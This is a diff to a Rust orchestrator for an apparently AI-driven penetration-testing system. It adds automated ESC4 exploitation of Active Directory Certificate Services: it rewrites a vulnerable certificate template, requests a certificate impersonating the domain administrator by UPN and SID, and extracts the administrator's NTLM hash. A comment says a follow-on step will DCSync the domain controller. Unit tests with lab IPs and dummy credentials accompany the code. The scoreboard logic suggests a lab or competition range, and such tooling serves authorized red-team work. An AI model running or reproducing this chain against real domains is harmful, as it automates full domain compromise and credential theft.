diff --git a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs index 0ade059e..70bdfd53 100644 --- a/ares-cli/src/orchestrator/automation/adcs_exploitation.rs +++ b/ares-cli/src/orchestrator/automation/adcs_exploitation.rs @@ -18,6 +18,7 @@ use tokio::sync::watch; use tracing::{debug, info, warn}; use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::SharedState; /// Dedup key prefix for ADCS exploitation. const DEDUP_ADCS_EXPLOIT: &str = "adcs_exploit"; @@ -438,6 +439,20 @@ pub async fn auto_adcs_exploitation( continue; } + // ESC4 (writeable template) chains three certipy steps: + // template-modify → request → auth. The `certipy_esc4_full_chain` + // composite tool wires them together; the LLM-routed path has + // been observed to call certipy_template_esc4 but skip the + // request/auth tail when the agent gets distracted by other + // objectives. Drive the full chain deterministically — same + // dedup/retry lifecycle as ESC1/ESC3. + if item.esc_type == "esc4" { + if dispatch_esc4_deterministic(&dispatcher, &item).await { + // Spawn manages its own dedup-clear-on-failure. + } + continue; + } + let role = role_for_esc_type(&item.esc_type); // Coercion-based ESC paths (ESC8, ESC11) need a relay listener and @@ -977,6 +992,294 @@ async fn dispatch_esc1_deterministic(dispatcher: &Arc, item: &AdcsEx true } +/// Build the args JSON for `certipy_esc4_full_chain`. Pure — caller +/// passes pre-validated values; the helper produces the JSON shape the +/// composite tool expects (template-modify → request → auth in one +/// invocation). UPN spoofs `administrator@` so the issued cert +/// authenticates as the built-in domain administrator. +#[allow(clippy::too_many_arguments)] +pub(crate) fn build_esc4_chain_args( + username: &str, + password: &str, + domain: &str, + ca_name: &str, + template: &str, + dc_ip: &str, + ca_host: &str, + upn: &str, + admin_sid: &str, +) -> serde_json::Value { + // Same field shape as ESC1 — the composite tool reads the same args + // and just runs an extra template-modify step before the request. + // Kept as a separate helper rather than aliasing build_esc1_chain_args + // so adding ESC4-specific args later (e.g. `enable_smartcard_logon`) + // doesn't accidentally change ESC1 behavior. + serde_json::json!({ + "username": username, + "password": password, + "domain": domain, + "ca": ca_name, + "template": template, + "dc_ip": dc_ip, + "target": ca_host, + "upn": upn, + "sid": admin_sid, + }) +} + +/// Validated inputs for the ESC4 chain — all six required fields present. +/// `try_extract_esc4_inputs` returns `Some` only when the item carries +/// every value the composite tool needs; absent fields are skipped at the +/// caller with a debug log so the next tick can retry once the missing +/// info publishes. +struct Esc4ChainInputs { + template: String, + ca_name: String, + ca_host: String, + dc_ip: String, + credential: ares_core::models::Credential, + domain_sid: String, +} + +/// Pure validator for ESC4 dispatch inputs. Returns `Some(inputs)` only when +/// all six required fields are present on the work item. +/// +/// KB5014754 strict cert mapping requires the target principal's full SID +/// embedded in the certificate, so `domain_sid` being `None` is treated as +/// a defer (skip this tick, retry once `auto_sid_enumeration` publishes it) +/// rather than a permanent failure. +fn try_extract_esc4_inputs(item: &AdcsExploitWork) -> Option { + Some(Esc4ChainInputs { + template: item.template_name.clone()?, + ca_name: item.ca_name.clone()?, + ca_host: item.ca_host.clone()?, + dc_ip: item.dc_ip.clone()?, + credential: item.credential.clone()?, + domain_sid: item.domain_sid.clone()?, + }) +} + +/// Mark an ESC4 vuln exploited on the scoreboard. The deterministic chain +/// runs `certipy_esc4_full_chain` via `dispatch_tool`, which produces an +/// `esc4_chain_*` task_id — that does NOT match the `exploit_*` prefix +/// gate in result_processing, so the standard mark_exploited path never +/// fires. Without this call, ESC4 lands a working NTLM hash but the +/// `adcs_esc4_*` token is never added to `:exploited`. +async fn credit_esc4_exploited( + state: &SharedState, + queue: &crate::orchestrator::task_queue::TaskQueueCore< + impl redis::aio::ConnectionLike + Clone + Send + Sync + 'static, + >, + vuln_id: &str, +) { + if let Err(e) = state.mark_exploited(queue, vuln_id).await { + warn!( + err = %e, + vuln_id = %vuln_id, + "Failed to mark ESC4 exploited (chain succeeded but token not emitted)" + ); + } +} + +/// Clear ESC4 dedup so the next tick can retry. Used on transient +/// failures under the per-vuln failure cap; abandoned vulns keep dedup +/// locked so the chain stops dispatching against a genuinely broken +/// template. +async fn clear_esc4_dedup_for_retry( + state: &SharedState, + queue: &crate::orchestrator::task_queue::TaskQueueCore< + impl redis::aio::ConnectionLike + Clone + Send + Sync + 'static, + >, + dedup_key: &str, +) { + { + let mut s = state.write().await; + s.unmark_processed(DEDUP_ADCS_EXPLOIT, dedup_key); + } + let _ = state + .unpersist_dedup(queue, DEDUP_ADCS_EXPLOIT, dedup_key) + .await; +} + +/// Lock the ESC4 dedup permanently for an abandoned vuln — `>= +/// MAX_EXPLOIT_FAILURES` failures already, so further dispatches are +/// hopeless. The lock keeps the work-collector from re-queueing the +/// same vuln every tick once the chain has been written off. +async fn lock_esc4_dedup_for_abandoned( + state: &SharedState, + queue: &crate::orchestrator::task_queue::TaskQueueCore< + impl redis::aio::ConnectionLike + Clone + Send + Sync + 'static, + >, + dedup_key: &str, +) { + { + let mut s = state.write().await; + s.mark_processed(DEDUP_ADCS_EXPLOIT, dedup_key.to_string()); + } + let _ = state + .persist_dedup(queue, DEDUP_ADCS_EXPLOIT, dedup_key) + .await; +} + +/// Build the `ToolCall` payload for `certipy_esc4_full_chain` from +/// validated inputs and a UPN/SID pair. Pure — caller is responsible +/// for the random task_id and for actually dispatching the call. +fn build_esc4_tool_call( + inputs: &Esc4ChainInputs, + domain: &str, + upn: &str, + admin_sid: &str, +) -> ares_llm::ToolCall { + let tool_args = build_esc4_chain_args( + &inputs.credential.username, + &inputs.credential.password, + domain, + &inputs.ca_name, + &inputs.template, + &inputs.dc_ip, + &inputs.ca_host, + upn, + admin_sid, + ); + ares_llm::ToolCall { + id: format!("certipy_esc4_full_chain_{}", uuid::Uuid::new_v4().simple()), + name: "certipy_esc4_full_chain".to_string(), + arguments: tool_args, + } +} + +/// Build a unique ESC4 chain task_id. Separate from `build_esc4_tool_call` +/// so log lines and the spawned-task ID stay in sync. +fn build_esc4_task_id() -> String { + format!( + "esc4_chain_{}", + &uuid::Uuid::new_v4().simple().to_string()[..12] + ) +} + +/// Process the result of a dispatched ESC4 chain — credits the +/// scoreboard on success, records the failure and clears dedup for +/// retry on transient failures, or leaves dedup locked when the per- +/// vuln failure counter has tripped abandon. Caller awaits +/// `tool_dispatcher.dispatch_tool` and forwards the result here so the +/// outcome plumbing is testable without a real `ToolDispatcher`. +async fn handle_esc4_chain_outcome( + state: &SharedState, + queue: &crate::orchestrator::task_queue::TaskQueueCore< + impl redis::aio::ConnectionLike + Clone + Send + Sync + 'static, + >, + result: anyhow::Result, + vuln_id: &str, + dedup_key: &str, +) { + if exec_result_has_hash_discoveries(&result) { + credit_esc4_exploited(state, queue, vuln_id).await; + info!( + vuln_id = %vuln_id, + "ESC4 chain succeeded — NTLM hash published; auto_credential_reuse will DCSync the foreign DC" + ); + return; + } + + let attempts = state.record_exploit_failure(vuln_id).await; + let abandoned = state.is_exploit_abandoned(vuln_id).await; + let summary = match &result { + Ok(r) => r + .error + .clone() + .unwrap_or_else(|| "no NTLM hash in discoveries".into()), + Err(e) => format!("dispatch error: {e}"), + }; + if abandoned { + warn!( + vuln_id = %vuln_id, + attempts, + summary = %summary, + "ESC4 chain abandoned — exhausted MAX_EXPLOIT_FAILURES; dedup stays locked" + ); + return; + } + warn!( + vuln_id = %vuln_id, + attempts, + summary = %summary, + "ESC4 chain failed — clearing dedup for retry on next tick" + ); + clear_esc4_dedup_for_retry(state, queue, dedup_key).await; +} + +/// Deterministic ESC4 chain: certipy template (modify vulnerable template +/// to enable enrollment + SAN spoofing) → certipy req (UPN spoof to +/// administrator@) → certipy auth → NTLM hash. Same lifecycle as +/// ESC1: marks dedup before spawning, clears on failure to allow retry +/// (capped by per-vuln failure counter), keeps dedup locked permanently +/// on abandoned vulns and on success. +/// +/// Domain SID is required because the request goes through with a +/// `-sid ` flag to satisfy KB5014754 strict cert mapping. If +/// SID isn't known yet, defer until `auto_sid_enumeration` publishes it. +async fn dispatch_esc4_deterministic(dispatcher: &Arc, item: &AdcsExploitWork) -> bool { + if dispatcher.state.is_exploit_abandoned(&item.vuln_id).await { + info!( + vuln_id = %item.vuln_id, + "ESC4 chain skipped — vuln abandoned (>=MAX_EXPLOIT_FAILURES); locking dedup" + ); + lock_esc4_dedup_for_abandoned(&dispatcher.state, &dispatcher.queue, &item.dedup_key).await; + return false; + } + + let Some(inputs) = try_extract_esc4_inputs(item) else { + debug!( + vuln_id = %item.vuln_id, + "ESC4 chain skipped — one or more required inputs missing (template, CA name/host, DC IP, credential, domain SID); will retry once they publish" + ); + return false; + }; + + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_ADCS_EXPLOIT, item.dedup_key.clone()); + } + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ADCS_EXPLOIT, &item.dedup_key) + .await; + + let upn = administrator_upn(&item.domain); + let admin_sid = admin_rid500_sid(&inputs.domain_sid); + let task_id = build_esc4_task_id(); + let call = build_esc4_tool_call(&inputs, &item.domain, &upn, &admin_sid); + + info!( + task_id = %task_id, + vuln_id = %item.vuln_id, + ca = %inputs.ca_name, + template = %inputs.template, + upn = %upn, + "ESC4 chain dispatched (direct tool, no LLM)" + ); + + let dispatcher_bg = dispatcher.clone(); + let vuln_id_bg = item.vuln_id.clone(); + let dedup_key_bg = item.dedup_key.clone(); + tokio::spawn(async move { + let result = dispatcher_bg + .llm_runner + .tool_dispatcher() + .dispatch_tool("privesc", &task_id, &call) + .await; + handle_esc4_chain_outcome( + &dispatcher_bg.state, + &dispatcher_bg.queue, + result, + &vuln_id_bg, + &dedup_key_bg, + ) + .await; + }); + true +} + /// Deterministic relay+coerce chain shared by ESC8 (HTTP web enrollment) and /// ESC11 (RPC ICPR). The phases are identical — only the ntlmrelayx target /// endpoint differs (`mode` chooses): @@ -2363,6 +2666,387 @@ mod tests { assert_eq!(args["sid"], "S-1-5-21-1-2-3-500"); } + // --- build_esc4_chain_args ------------------------------------------ + + #[test] + fn build_esc4_chain_args_includes_all_fields() { + let args = super::build_esc4_chain_args( + "alice", + "P@ssw0rd!", + "contoso.local", + "CONTOSO-CA", + "VulnerableTemplate", + "192.168.58.10", + "192.168.58.50", + "administrator@contoso.local", + "S-1-5-21-1-2-3-500", + ); + assert_eq!(args["username"], "alice"); + assert_eq!(args["password"], "P@ssw0rd!"); + assert_eq!(args["domain"], "contoso.local"); + assert_eq!(args["ca"], "CONTOSO-CA"); + assert_eq!(args["template"], "VulnerableTemplate"); + assert_eq!(args["dc_ip"], "192.168.58.10"); + assert_eq!(args["target"], "192.168.58.50"); + assert_eq!(args["upn"], "administrator@contoso.local"); + assert_eq!(args["sid"], "S-1-5-21-1-2-3-500"); + } + + #[test] + fn build_esc4_chain_args_template_specific() { + // ESC4's template is the EXISTING vulnerable template name + // (e.g. a default `User` template that grants Enroll + GenericWrite + // to Domain Users). The composite tool's first step modifies it + // in-place; the request step then uses the same name. + let args = super::build_esc4_chain_args( + "alice", + "P@ssw0rd!", + "contoso.local", + "CONTOSO-CA", + "User", + "192.168.58.10", + "192.168.58.50", + "administrator@contoso.local", + "S-1-5-21-1-2-3-500", + ); + assert_eq!(args["template"], "User"); + } + + // --- try_extract_esc4_inputs ---------------------------------------- + + fn esc4_work() -> super::AdcsExploitWork { + super::AdcsExploitWork { + vuln_id: "adcs_esc4_192.168.58.50_User".into(), + dedup_key: "adcs_exploit:adcs_esc4_192.168.58.50_User".into(), + esc_type: "esc4".into(), + ca_name: Some("CONTOSO-CA".into()), + template_name: Some("User".into()), + ca_host: Some("192.168.58.50".into()), + domain: "contoso.local".into(), + dc_ip: Some("192.168.58.10".into()), + domain_sid: Some("S-1-5-21-1-2-3".into()), + credential: Some(ares_core::models::Credential { + id: "test-id".into(), + username: "alice".into(), + password: "P@ssw0rd!".into(), + domain: "contoso.local".into(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }), + coerce_candidates: Vec::new(), + } + } + + #[test] + fn try_extract_esc4_inputs_returns_some_when_all_fields_present() { + let work = esc4_work(); + let inputs = super::try_extract_esc4_inputs(&work).expect("all fields present"); + assert_eq!(inputs.template, "User"); + assert_eq!(inputs.ca_name, "CONTOSO-CA"); + assert_eq!(inputs.ca_host, "192.168.58.50"); + assert_eq!(inputs.dc_ip, "192.168.58.10"); + assert_eq!(inputs.credential.username, "alice"); + assert_eq!(inputs.domain_sid, "S-1-5-21-1-2-3"); + } + + #[test] + fn try_extract_esc4_inputs_skips_when_template_missing() { + let mut work = esc4_work(); + work.template_name = None; + assert!(super::try_extract_esc4_inputs(&work).is_none()); + } + + #[test] + fn try_extract_esc4_inputs_skips_when_ca_name_missing() { + let mut work = esc4_work(); + work.ca_name = None; + assert!(super::try_extract_esc4_inputs(&work).is_none()); + } + + #[test] + fn try_extract_esc4_inputs_skips_when_ca_host_missing() { + let mut work = esc4_work(); + work.ca_host = None; + assert!(super::try_extract_esc4_inputs(&work).is_none()); + } + + #[test] + fn try_extract_esc4_inputs_skips_when_dc_ip_missing() { + let mut work = esc4_work(); + work.dc_ip = None; + assert!(super::try_extract_esc4_inputs(&work).is_none()); + } + + #[test] + fn try_extract_esc4_inputs_skips_when_credential_missing() { + let mut work = esc4_work(); + work.credential = None; + assert!(super::try_extract_esc4_inputs(&work).is_none()); + } + + #[test] + fn try_extract_esc4_inputs_skips_when_domain_sid_missing() { + // KB5014754 strict cert mapping needs the SID — defer until + // `auto_sid_enumeration` publishes it. + let mut work = esc4_work(); + work.domain_sid = None; + assert!(super::try_extract_esc4_inputs(&work).is_none()); + } + + // --- credit_esc4_exploited / clear_esc4_dedup_for_retry -------------- + + #[tokio::test] + async fn credit_esc4_exploited_marks_vuln_and_records_event() { + use crate::orchestrator::task_queue::TaskQueueCore; + use ares_core::models::OpStateEventPayload; + use ares_core::state::mock_redis::MockRedisConnection; + + let recorder = std::sync::Arc::new(ares_core::op_state_log::OpStateRecorder::capturing()); + let state = super::SharedState::with_recorder("op-esc4".to_string(), recorder.clone()); + let queue = TaskQueueCore::from_connection(MockRedisConnection::new()); + + let vuln_id = "adcs_esc4_192.168.58.50_User"; + super::credit_esc4_exploited(&state, &queue, vuln_id).await; + + let inner = state.read().await; + assert!(inner.exploited_vulnerabilities.contains(vuln_id)); + drop(inner); + + let evs = recorder.captured().await; + assert!(evs.iter().any(|e| matches!( + &e.payload, + OpStateEventPayload::VulnExploited { vuln_id: v, .. } if v == vuln_id + ))); + } + + #[tokio::test] + async fn clear_esc4_dedup_for_retry_unmarks_processed_key() { + use crate::orchestrator::task_queue::TaskQueueCore; + use ares_core::state::mock_redis::MockRedisConnection; + + let state = super::SharedState::new("op-esc4".to_string()); + let queue = TaskQueueCore::from_connection(MockRedisConnection::new()); + + let dedup_key = "adcs_exploit:adcs_esc4_192.168.58.50_User"; + { + let mut s = state.write().await; + s.mark_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key.to_string()); + assert!(s.is_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key)); + } + + super::clear_esc4_dedup_for_retry(&state, &queue, dedup_key).await; + + let s = state.read().await; + assert!(!s.is_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key)); + } + + #[tokio::test] + async fn lock_esc4_dedup_for_abandoned_marks_key_processed() { + use crate::orchestrator::task_queue::TaskQueueCore; + use ares_core::state::mock_redis::MockRedisConnection; + + let state = super::SharedState::new("op-esc4".to_string()); + let queue = TaskQueueCore::from_connection(MockRedisConnection::new()); + + let dedup_key = "adcs_exploit:adcs_esc4_192.168.58.50_User"; + { + let s = state.read().await; + assert!(!s.is_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key)); + } + + super::lock_esc4_dedup_for_abandoned(&state, &queue, dedup_key).await; + + let s = state.read().await; + assert!(s.is_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key)); + } + + // --- build_esc4_task_id / build_esc4_tool_call ---------------------- + + #[test] + fn build_esc4_task_id_has_expected_prefix_and_length() { + let id = super::build_esc4_task_id(); + assert!(id.starts_with("esc4_chain_")); + // prefix + 12 hex chars + assert_eq!(id.len(), "esc4_chain_".len() + 12); + } + + #[test] + fn build_esc4_task_id_is_unique_across_calls() { + // UUID-derived; two consecutive calls must not collide. Guards + // against accidentally caching the suffix on a static. + let a = super::build_esc4_task_id(); + let b = super::build_esc4_task_id(); + assert_ne!(a, b); + } + + #[test] + fn build_esc4_tool_call_uses_full_chain_tool_and_args() { + let work = esc4_work(); + let inputs = super::try_extract_esc4_inputs(&work).expect("test fixture is complete"); + let call = super::build_esc4_tool_call( + &inputs, + "contoso.local", + "administrator@contoso.local", + "S-1-5-21-1-2-3-500", + ); + assert_eq!(call.name, "certipy_esc4_full_chain"); + assert!(call.id.starts_with("certipy_esc4_full_chain_")); + assert_eq!(call.arguments["template"], "User"); + assert_eq!(call.arguments["ca"], "CONTOSO-CA"); + assert_eq!(call.arguments["upn"], "administrator@contoso.local"); + assert_eq!(call.arguments["sid"], "S-1-5-21-1-2-3-500"); + assert_eq!(call.arguments["domain"], "contoso.local"); + } + + // --- handle_esc4_chain_outcome -------------------------------------- + + fn ok_with_hash() -> anyhow::Result { + Ok(ares_llm::ToolExecResult { + output: "[+] cert saved; auth got hash".into(), + error: None, + discoveries: Some(serde_json::json!({ + "hashes": [{"username": "administrator", "domain": "contoso.local"}] + })), + }) + } + + fn ok_no_hash() -> anyhow::Result { + Ok(ares_llm::ToolExecResult { + output: "no auth phase ran".into(), + error: None, + discoveries: Some(serde_json::json!({"hashes": []})), + }) + } + + fn dispatch_err() -> anyhow::Result { + Err(anyhow::anyhow!("nats publish failed")) + } + + #[tokio::test] + async fn handle_esc4_chain_outcome_success_credits_and_keeps_dedup_locked() { + use crate::orchestrator::task_queue::TaskQueueCore; + use ares_core::models::OpStateEventPayload; + use ares_core::state::mock_redis::MockRedisConnection; + + let recorder = std::sync::Arc::new(ares_core::op_state_log::OpStateRecorder::capturing()); + let state = super::SharedState::with_recorder("op-esc4".to_string(), recorder.clone()); + let queue = TaskQueueCore::from_connection(MockRedisConnection::new()); + + let vuln_id = "adcs_esc4_192.168.58.50_User"; + let dedup_key = "adcs_exploit:adcs_esc4_192.168.58.50_User"; + + // Simulate the pre-dispatch dedup lock. + { + let mut s = state.write().await; + s.mark_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key.to_string()); + } + + super::handle_esc4_chain_outcome(&state, &queue, ok_with_hash(), vuln_id, dedup_key).await; + + let s = state.read().await; + assert!(s.exploited_vulnerabilities.contains(vuln_id)); + // Success path must NOT clear dedup — re-firing the chain on a + // confirmed-credited vuln is exactly what auto_credential_reuse + // is supposed to take over from here. + assert!(s.is_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key)); + drop(s); + + let evs = recorder.captured().await; + assert!(evs.iter().any(|e| matches!( + &e.payload, + OpStateEventPayload::VulnExploited { vuln_id: v, .. } if v == vuln_id + ))); + } + + #[tokio::test] + async fn handle_esc4_chain_outcome_transient_failure_clears_dedup_for_retry() { + use crate::orchestrator::task_queue::TaskQueueCore; + use ares_core::state::mock_redis::MockRedisConnection; + + let state = super::SharedState::new("op-esc4".to_string()); + let queue = TaskQueueCore::from_connection(MockRedisConnection::new()); + + let vuln_id = "adcs_esc4_192.168.58.50_User"; + let dedup_key = "adcs_exploit:adcs_esc4_192.168.58.50_User"; + + { + let mut s = state.write().await; + s.mark_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key.to_string()); + } + + super::handle_esc4_chain_outcome(&state, &queue, ok_no_hash(), vuln_id, dedup_key).await; + + let s = state.read().await; + // Single failure — under the abandon cap, dedup must be cleared + // so the next tick can retry. + assert!(!s.is_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key)); + assert!(!s.exploited_vulnerabilities.contains(vuln_id)); + } + + #[tokio::test] + async fn handle_esc4_chain_outcome_dispatch_error_is_treated_as_failure() { + // Dispatch-level errors (NATS down, tool worker absent) must still + // record an attempt and clear dedup — otherwise a single networking + // hiccup buries the primitive forever. + use crate::orchestrator::task_queue::TaskQueueCore; + use ares_core::state::mock_redis::MockRedisConnection; + + let state = super::SharedState::new("op-esc4".to_string()); + let queue = TaskQueueCore::from_connection(MockRedisConnection::new()); + + let vuln_id = "adcs_esc4_192.168.58.50_User"; + let dedup_key = "adcs_exploit:adcs_esc4_192.168.58.50_User"; + + { + let mut s = state.write().await; + s.mark_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key.to_string()); + } + + super::handle_esc4_chain_outcome(&state, &queue, dispatch_err(), vuln_id, dedup_key).await; + + let s = state.read().await; + assert!(!s.is_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key)); + } + + #[tokio::test] + async fn handle_esc4_chain_outcome_abandoned_keeps_dedup_locked() { + // After MAX_EXPLOIT_FAILURES the vuln is abandoned — dedup must + // stay locked so the chain stops dispatching against a broken + // template that won't recover. + use crate::orchestrator::state::MAX_EXPLOIT_FAILURES; + use crate::orchestrator::task_queue::TaskQueueCore; + use ares_core::state::mock_redis::MockRedisConnection; + + let state = super::SharedState::new("op-esc4".to_string()); + let queue = TaskQueueCore::from_connection(MockRedisConnection::new()); + + let vuln_id = "adcs_esc4_192.168.58.50_User"; + let dedup_key = "adcs_exploit:adcs_esc4_192.168.58.50_User"; + + { + let mut s = state.write().await; + s.mark_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key.to_string()); + } + // Push the failure counter up to one less than the cap so the + // outcome handler's own `record_exploit_failure` flips it to + // abandoned. + for _ in 0..(MAX_EXPLOIT_FAILURES - 1) { + state.record_exploit_failure(vuln_id).await; + } + + super::handle_esc4_chain_outcome(&state, &queue, ok_no_hash(), vuln_id, dedup_key).await; + + assert!(state.is_exploit_abandoned(vuln_id).await); + let s = state.read().await; + assert!( + s.is_processed(super::DEDUP_ADCS_EXPLOIT, dedup_key), + "abandoned dedup must stay locked" + ); + } + // --- exec_result_has_hash_discoveries ------------------------------- fn exec_with_hash() -> ares_llm::ToolExecResult {